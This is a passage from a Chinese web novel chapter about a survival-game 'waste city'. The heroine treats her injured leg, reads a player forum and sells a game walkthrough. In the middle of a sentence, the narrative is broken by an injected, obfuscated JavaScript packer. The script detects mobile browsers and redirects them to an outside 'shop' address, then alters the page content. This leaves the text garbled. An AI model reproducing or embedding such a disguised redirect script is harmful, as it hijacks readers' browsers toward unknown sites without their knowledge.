令有善良美好的意思,也有尊敬的含义,珩是珍贵的美玉或乐器,也有表示崇高的地位的意思,他更倾向于和“令”字一样,表示后者。 “这是我自己改的名字。”沈令珩平静道。 她的家里人既不会对她有这样的期待,也没有这样的文化。 毕竟她那个所谓的“父亲”是个只会家暴的酒蒙子,而“母亲”只会哭着推她去挨打。 “名字起得不错。”黎思淼赞了一句,“我爷爷肯定很喜欢你和你的名字,他叫黎维翰,不知道你有没有听说过。” 沈令珩微愣,她的瞳孔微不可察地颤了颤,“四方攸同,王后维翰的那个维翰?” “你知道啊?”黎思淼眨了眨眼睛,“你对书法感兴趣?” “书香门第啊...”沈令珩低声感叹。 黎老可不是一个简单的“有名”可以描述的了,那是当代书法大家,是她语文老师的偶像。 她行李箱里还放了老师临摹黎老的字,上面写着“玉汝于成”,是老师希望她不要被苦难打倒,告诉她生活的困苦不过是在打磨玉石,将她雕琢成器罢了。 这正是她名字的由来,也是她从“父亲”死去,“母亲”改嫁后,独自生活至今的精神寄托。 “直接送我去医院吧。”沈令珩说。 “估计就是因为这个才被分到蓝区吧。”黎思淼一瘸一拐地推动轮椅,“古汉语文学我还是比较懂的,就是这里用不太到。” 沈令珩沉默了,她的大脑在飞速运转中,最后归于一句话,“你才不应该来废城吧?” 真有趣,废城里有黎思淼这样的存在,还有像她这样的存在。 黎思淼挠了挠头,“确实是个意外。” 他似是有些不好意思,“那群大汉认错人了,不小心把我抓来了,我还以为是什么热闹,就凑过来了,没想到进了废城。” 两人离开了广场。 喻景站在原地,看着黎思淼推着沈令珩走远。蓝发男人在他耳边说了什么,他没听清,也不在意。 “走了。”他转身,声音淡得像什么都没发生过。 蓝发男人抱怨道:“你有没有在听啊?我说那个白区的瘸子长得还挺好看的,是我喜欢的类型。” 喻景冷冷瞥了他一眼,他嗤笑,“活不了几天的人,我怎么不知道你这么喜欢做慈善?” * 把沈令珩送到医院后,黎思淼便离开了,沈令珩问他要不要一起去看看,黎思淼表示蓝区有专门的治疗团队,他去那边治疗就行。 如果可以,他倒是想带沈令珩去,可惜沈令珩是白区的,他和沈令珩解释了一下。 沈令珩点了点头,自己进了医院。 她挨了郝医生好一顿骂,又被她勒令不能再进游戏,必须要熬到下个月底,或者右腿彻底恢复后才允许进游戏。 左腿是没法了,不落下终身残疾都是谢天谢地,“只能尽人事,听天命了。”郝医生如是说道。 沈令珩重新配了支具和药物,左腿的支具被她撞得有点变形了,又支出了两千多生存点后,现在就剩下三万出头的生存点了。 还是得进游戏.....沈令珩看着剩余的生存点和游戏次数,只要再进一次她就能买下一阶段的体质了。 沈令珩随意扫了眼论坛,里面有白区的人在约定时间同时进游戏,试图省下绑定的钱。 还有各种以物易物的交易帖,以及不保真的消息贴。 沈令珩目前确实很缺消息,但是比起论坛上的人,她完全可以去问更值得信任的黎思淼、邹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308811|198153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海洋和沙子卓。 她随意往下划了划,甚至看到了一条买凶贴,说是价钱好商量,对方只是一个白区玩家,时间就在今天。 她轻笑一声,如果对方很好对付,花一万生存点买个绑定就是,又说价钱好商量,这到底是贪便宜还是耍人玩? 沈令珩又刷了一会,突然一条爆文送到她面前,主人公她也认识。 标题:有谁见到梁方了吗? 沈令珩点进去。 贴主说,距离梁方上一次进游戏已经快大半个月了,似乎没见到他出来。 1L:那不是好事吗?你喜欢被抢劫啊? 2L:回复1L:不说不说,他在预备游戏混了这么久,不知道有多少底牌,说不定可以查你身份捏,除非你已经是正式玩家了那当我没说 3L:怂!说不定他已经死在游戏里了呢? 4L:要是真死了还好,没死的话就……有没有白区玩家不知道这个人的? 5L:举手,俺不知 6L:运气真好。 底下一排都在刷“运气真好”。 41L:啊?我是6L,他到底是什么人呐? 42L:如你所见,是白区预备玩家的地头蛇,遇见他你就乖乖交保护费吧,保住小命要紧 43L:他是献祭流啊,乖可没用,还得有用,不然就把你献祭咯 …… 沈令珩心道,你们以后可以安心了,他确实已经死了,沈令珩刚要关闭论坛,便看见后台多了一条私信。 她点开一看,那人一天前就给她发过消息,此时看见她在线,便又发来了消息,是来问攻略的人。 “靠不靠谱啊?给我看看正式玩家标。” “月初进游戏?这么够胆。” 沈令珩在论坛里找了一会才找到那个正式玩家的标识,然后点击公开。 那人似乎一直在等她,见她亮标,又给她发来消息,“打算卖多少钱?” “2000生存点。”她的攻略还有一条支线任务,注定不会太低。 “你疯了吧!一个预备游戏定那么高的价格!傻逼!” 沈令珩也不惯着他,“爱买不买。” “除了我不可能有别人敢来买你的攻略,”那人回得很快,“你等着看好了,白区的预备游戏攻略市场早就被垄断了,其他区的人自己有,不需要,除了我这种不怕死的穷鬼来捡漏,好好过日子的人是不可能敢来买你的攻略的。” 沈令珩点点头,“你说的有道理。” 她多少是有猜到这种情况了,其他区都有传下来的攻略,也信不过像她这样的个人卖家。 只有白区的人需要自己买野生攻略,但白区的攻略又被垄断了。 既然如此,那就只有一条路可走了。 “知道就好,两百生存点,多了没有。” “不好意思,不卖了。”沈令珩关掉这个对话框,转而抬起手腕,给某人发了条消息去,“预备游戏006的攻略要不要?” 他才是沈令珩目前最好的选择。 那人也回得很快,“你肯卖?” “只要价钱给够。”沈令珩说。 肖富和她是一个预备游戏出来的,知道她在游戏里的表现。 肖富看着她发来的消息,忍不住想起了游戏里被她勒索的记忆,也不知道她当时到底怎么做到的…… 他连忙联系付哥,告诉他沈令珩卖攻略的事。 付哥大名付响,靠在沙发里,手指夹着雪茄,身边站着两个高大魁梧的保镖。旁边的沙发上,一个光头和大块头正坐着喝茶。 见肖富着急忙慌地带来了这个消息,他在烟灰缸抖了抖雪茄的灰,低沉的烟嗓缓缓道,“就是勒索了你的那个白区玩家?”